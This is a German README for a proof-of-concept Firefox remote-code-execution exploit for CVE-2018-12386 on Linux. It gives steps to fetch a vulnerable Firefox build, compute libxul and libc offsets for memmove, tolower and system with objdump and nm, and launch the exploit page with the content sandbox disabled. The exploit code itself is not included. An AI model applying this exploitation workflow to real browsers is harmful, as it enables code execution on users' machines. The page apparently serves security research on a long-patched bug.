
CVE-2018-12386 - Firefox-Sandbox-RCE-Exploit für Linux (Firefox <v62.0.3)
Hier ist ein einfacher Exploit für die Schwachstelle CVE-2018-12386, die von Niklas Baumstark, Samuel Groß und Bruno Keith gefunden wurde.
Dies ist hauptsächlich ein PoC, das ich aus Spaß erstellt habe; es gibt keine Sandbox-Umgehung und es funktioniert nur
unter einer bestimmten Linux-Konfiguration, bei der die vom Exploit verwendeten Offsets bereits bekannt sind
(sie können in exploit/offsets.js geändert werden).
Dieser Exploit funktioniert für Versionen vor Firefox 62.0.3 und Firefox ESR 60.2.2.
Sie können frühere Firefox-Versionen direkt vom Mozilla-FTP-Server herunterladen: https://ftp.mozilla.org/pub/firefox/releases/
Sie können zum Beispiel die Version 62.0.2 für 64-Bit-Linux verwenden: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so-OffsetsWenn Sie Firefox 62.0.2 verwenden, sollten die in exploit/offsets.js angegebenen Offsets
die richtigen sein.
Für andere Versionen ist eine einfache Methode, die
addrof-Primitive zu verwenden, um die Adresse der JavaScript-Funktion
Math.max zu leaken, dann die Basisadresse von libxul.so für die Instanz von
Firefox zu finden, die Sie gerade ausnutzen (z. B. mit cat /proc/$(pidof firefox)/maps)
und die beiden zu subtrahieren, um den libxul_math_max-Offset zu erhalten.
Wenn Sie Firefox 62.0.2 verwenden, sollten die in exploit/offsets.js angegebenen Offsets
die richtigen sein.
Für andere Versionen ist eine einfache Methode, objdump zu verwenden.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 und 5c0d968 sind die Werte, die wir benötigen, d. h. die Offsets von memmove und
tolower in libxul.so.
libc.so.6-OffsetsDiese Offsets hängen vollständig von der verwendeten libc-Version ab.
# libc.so.6-Speicherort
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Sobald Sie Firefox und die richtigen Offsets haben, können Sie den Exploit testen, indem Sie den folgenden Befehl ausführen:
MOZ_DISABLE_CONTENT_SANDBOX=1 /pfad/zu/anfälligem/firefox /pfad/zu/cve-2018-12386/exploit/pwn.html

Wenn Sie Hallo sagen möchten: @lyte__